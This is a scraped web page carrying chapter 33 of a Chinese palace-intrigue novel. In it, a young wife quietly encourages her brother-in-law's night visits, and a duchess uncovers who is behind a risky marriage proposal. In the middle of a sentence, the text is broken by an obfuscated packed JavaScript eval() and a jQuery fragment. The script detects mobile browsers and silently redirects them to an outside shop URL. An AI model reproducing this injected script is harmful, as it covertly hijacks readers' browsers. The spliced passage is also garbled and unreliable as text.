默认冷灰
24号文字
方正启体

33. 第33章

作者:缘是红尘客本书字数:K更新时间:
    玉露活血膏是化瘀,祛疤的。


    金露活血膏则是活络经脉、缓解劳累过度的。


    杏娘看着跪在自己面前的粗使丫头绿叶,正是当时她带去春猎时的两名粗使丫头之一,她一直没能够摸清楚她们的底细,现在绿叶自爆了,她是大伯哥的人....


    她一直在猜想这两名丫头是二房还是三房的人,现在看来是自己格局小了,她们是头顶高位的眼线!


    绿叶是大伯哥的眼线,那么青果又是谁的眼线呢?公爹还是婆母的呢?


    气氛陷入了沉默,绿叶她却不敢催促,她仍是低着头恭敬地将药膏递在杏娘的面前。


    杏娘看着面前的绿叶,她知道自己的计划可以推进下一步了,她这个口是心非的大伯哥还真是挺有意思的。


    “世子爷为何要让你给我金露活血膏?”


    “奴婢不知。”


    “拿回去吧,我不要。”


    绿叶赫然抬头,她的眼里闪过一丝恐惧:“还请四少奶奶收下,奴婢也只是奉命行事。”


    杏娘微微一笑:“告诉你家世子爷,杏娘只是个良家女子,做不来私相授受之事。”


    绿叶看到杏娘眼中的坚定,她在心里为自己祈祷了一声,最终还是退了出去:“是。”


    绿叶离开后,香云拿着从府医那里取来的药膏走了进来:“主子,可要沐浴?”


    杏娘看着香云手里的药膏,微微颔首:“甚好。”


    沐浴过后,杏娘只着肚兜、亵裤趴在床上,香云手沾药膏开始给她推揉按摩,从背部开始...


    适中的力道,大大缓解了杏娘身上的刺痛。


    这一场按摩,一直持续到深夜亥时。


    穿好寝衣,吹灭烛火,便进入了梦乡。


    咚。


    咚。


    不知几时,石子敲击窗户的沉闷声终是将睡梦中的杏娘吵醒,她微微勾起嘴角,这人果然来了,看来自己紧绷着心神没睡熟是对的。


    杏娘撇了一眼黑暗中香云睡觉的方向,然后披上外衣,慢步走到后窗边,轻轻推开窗户,不悦地说道:“是哪个不知死活的在敲窗户?”


    “嘘,别说话。”


    凉薄的月色下,杏娘对上了一双幽深的鹰眼。看着一身夜行衣的男人,杏娘微微后退三步,脸色讶然:“大哥,你这是做梁上君子做上瘾了吗?”


    沈熙之眼里闪过一丝窘迫,他知道自己在做什么也知道自己卑劣无耻,但他还是控制不住。


    看着月光下妇人还带着青色的额头,他将一瓶药膏强势地塞到杏娘的手里:“府医的药膏药性太慢,你用这个,一个晚上就不疼了。”


    “我不要。”


    “若有什么,你大可往我身上推。”沈熙之看着妇人眼里的震惊,又怕她误会太过,在心里轻啧一声,最终还是找了个冠冕堂皇的理由,“我很感谢你为母亲做的事,我未能尽职尽孝,所以你就当是我想为母亲尽孝分担一点吧。”


    沈熙之解释完以后也不敢逗留,一个闪身就消失在了黑夜之中...


    看着悄然寂静的黑夜,杏娘摩挲着手里温热的药瓶,终是垂下了眼眸,心里默默念叨:“鱼儿或许咬钩不想放了。”


    次日卯时三刻,杏娘照常入延松院请安,她接过杜鹃的活计,挑选了一根簪子插入徐夫人的发髻:“母亲,昨日睡得可还好?”


    “还不错。”徐夫人透过铜镜能够看到杏娘微微泛青的眼部,她回头仔细瞧了瞧,果真是眼底泛青:“杏娘,你昨日可是没有睡好?黑眼圈都出来。”


    杏娘眼里透露出一丝慌乱,随后连忙移开视线不与她对视,糊弄地说道:“昨晚上看了两本书,有些问题没有想通,这才忧思难眠。”


    徐夫人拍了拍她的手背:“可莫要看书看得太晚,伤眼睛,年轻时还是要以身体为重,千万别仗着年轻乱来,不然吃亏的可是自己。”


    “是。”


    “一道吃点早膳吧。”


    用过早膳后,蔡银凤来请安了。


    因着今日午时徐夫人要针灸,所以她要尽快处理掉上午的事务,故而草草训诫了杏娘与蔡银凤便让她们回去。


    就在她们走到正屋门口时,宁王妃登门了。


    “姑母。”杏娘与蔡银凤行了晚辈礼后,就准备离去。


    宁王妃不在意地摆摆手,然后对着徐夫人大大咧咧说道:“嫂子,昨日跟你说得事情怎么样?平乐郡主可是极好的人选,她配天明可是顶顶好的良配,你用得着思考吗?”


    平乐郡主?


    杏娘的听力不错,加上她脚步又放得慢,所以她隐约听清楚了宁王妃嘴里说得话。


    杏娘边走边盘算着这件事情,平乐郡主乃是先帝胞弟吴亲王幺女,自幼娇惯任性至极,算得上是他们大景有名的混世魔王了。


    按辈分来说,平乐郡主是陛下堂妹,跟大伯哥也算是平辈。但上辈子都没有发生的事情,这辈子宁王妃怎么想着来说媒呢?


    杏娘知道这平乐郡主可是极不好招惹之人,她的原配郡马爱喝花酒直接被她毒死、第二任郡马有断袖之癖被她发现后直接被她捅死....而杏娘之所以知道这些秘闻,也是上辈子平乐郡主第三任郡马要被弄死前从家中跑出来到吴江府衙爆出来的。


    平乐郡主你说她命好那确实是金尊玉贵自幼生长在金窝窝里,便是她手刃亲夫吧都还有老父亲遮掩着找人顶事者,你说命不好吧她也确实有点不好。


    因为平乐郡主酷爱才学出众的美男子,她挑选郡马不看出身、不看品性,只钟爱美色出众的大才子,所以连续挑了三任郡马都不是个好东西。


    第一任喜好逛窑子喝花酒,第二任断袖养娈童,第三任喜好人妻乃是在世曹贼。


    算算时间,这应该是平乐郡主弄死第二郡马后的空档期吧?


    宁王妃怎么想着给大伯哥来说媒了呢?


    杏娘满腹狐疑,莫非她想祸水东引?她左思右想,能够想到的唯一想法就是这个。


    毕竟五月的赏花会,自己与徐夫人可是让她丢了好大的面子。按照杏娘对宁王妃评估,祸水东引这个法子可能是她想出来的最高办法了。


    杏娘眉心微微蹙起,希望婆母可千万别答应宁王妃的要求,不然自己想要借种生子这事就麻烦了。


    若真是允诺了宁王妃的要求,那自己就得加快加快速度了。


    “主子?”香云看着杏娘眼里的忧思,小心询问。


    杏娘摇头:“无事,我们下午再来吧。”


    “是。”


    徐夫人看着肆意张扬的小姑子,心里冷笑一声,现在没有她娘来帮着她拿捏自己了,倒是打起了老大媳妇的位置?


    这些年来,这小姑子就打心里没有瞧得上过自己一回!她老


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17032239|192604||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    娘没了,没有皇亲压在自己头顶了,又想着再弄一尊皇亲进门来压着自己,好让她再次拿捏自己。


    徐夫人越想越是不屑,她这蠢笨小姑子也就这点计谋了。徐夫人平静地收回眼神,然后从容不迫地回答:“孩子大了,这婚事哪里能够由得着我来做主?”


    “自古父母之命,媒妁之言。只要嫂子你答应了,你还怕天明会反了天吗?”宁王妃信誓旦旦,“只要我们交换了庚帖,天明他不娶也得娶!”


    徐夫人看着宁王妃的屡屡出招,哼笑:“小姑子,这事你大哥知道吗?”


    提起魏国公,宁王妃眼神有些闪烁,自然也就结结巴巴起来:“知、知道,他若是不知道,我怎么敢和你提这事呢?”


    徐夫人瞧着她眼里的闪烁,心里便有了数。他们魏国公府已经出了一位贵妃娘娘,一位宁王妃,那死老头能同意老大娶平乐郡主那才是怪事!


    徐夫人再不懂政治,她也明白什么是鲜花着锦,烈火烹油。


    权势、皇亲、还有一位有继承权的皇子外孙...这些在陛下看来会有什么想法?徐夫人轻啧一声,这个小姑子若是没有魏国公府背书,还真是怎么死得都不知道!


    “小姑子,嫂子问你一句话,将平乐郡主许配给老大这事,是谁给你出得主意?”


    宁王妃看着眼神冰凉下来的徐夫人,下意识后退一步:“哪、哪有人给自己出主意?这不过是我自己瞎想的,天明不是一直单着吗?那我这个做姑母又怎么会忍心让他一直单着呢?瞧着平乐郡主貌美出众,自然想着给他们牵牵线。”


    “吴亲王的封地在苏南吴江府,平乐郡主自打及笄后就没有进过燕京城,你又是在哪里见过平乐郡主的呢?”徐夫人冷笑,“你编个谎话都编不成,还真是可笑!你若是想让我们魏国公府早点落败,那你就使劲得去作死吧!”


    宁王妃被徐夫人刺骨的话也恐吓的腰杆子一软,直接跌坐在了椅子上,她张了张嘴:“我、我也是好心,只想我们魏国公府荣耀加身,又怎么会想着我们魏国公府落败呢?”


    “贵妃娘娘、三皇子、兵权,还有你这个宁王妃。”徐夫人若不是想知道是谁在背后使坏,她真不想同这个蠢货在这里细说,“再加上一个皇亲,你说在陛下看来,我们魏国公府是想做什么?”


    大哥为了避嫌已经卸了官职,大侄子也被陛下从前线调回来燕京。


    这一刻,宁王妃像是打开了天灵盖,猛得一下智商回归,她悻悻道:“是荣昌姨母。”


    荣昌公主?


    二皇子外曾祖母。


    徐夫人心里已经有数,她大概知道是因为什么作妖了....封王。


    “你记住,魏国公府是你的母族,因为魏国公府你才能够安稳坐稳宁王妃这些年,没有魏国公府帮你撑着,我不用多说你应该也知道宁王爷早就将你废弃了!”徐夫人冷冷地注视着面前的宁王妃,她这小姑子性子骄纵,又强势至极,早就与宁王关系破裂,加上儿子又不成器,文不成、武不就空有个宁王世子头衔。


    徐夫人想想都摇头,她继续道:“你要想这个位置继续安安稳稳到老,那我魏国公府的事情你就不要掺和!”


    “是,我知道了。”


    徐夫人看着灰溜溜离开的宁王妃,知道这蠢东西应该是不敢再作妖了。毕竟,宁王妃头衔可是她为数不多能够炫耀的东西了。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)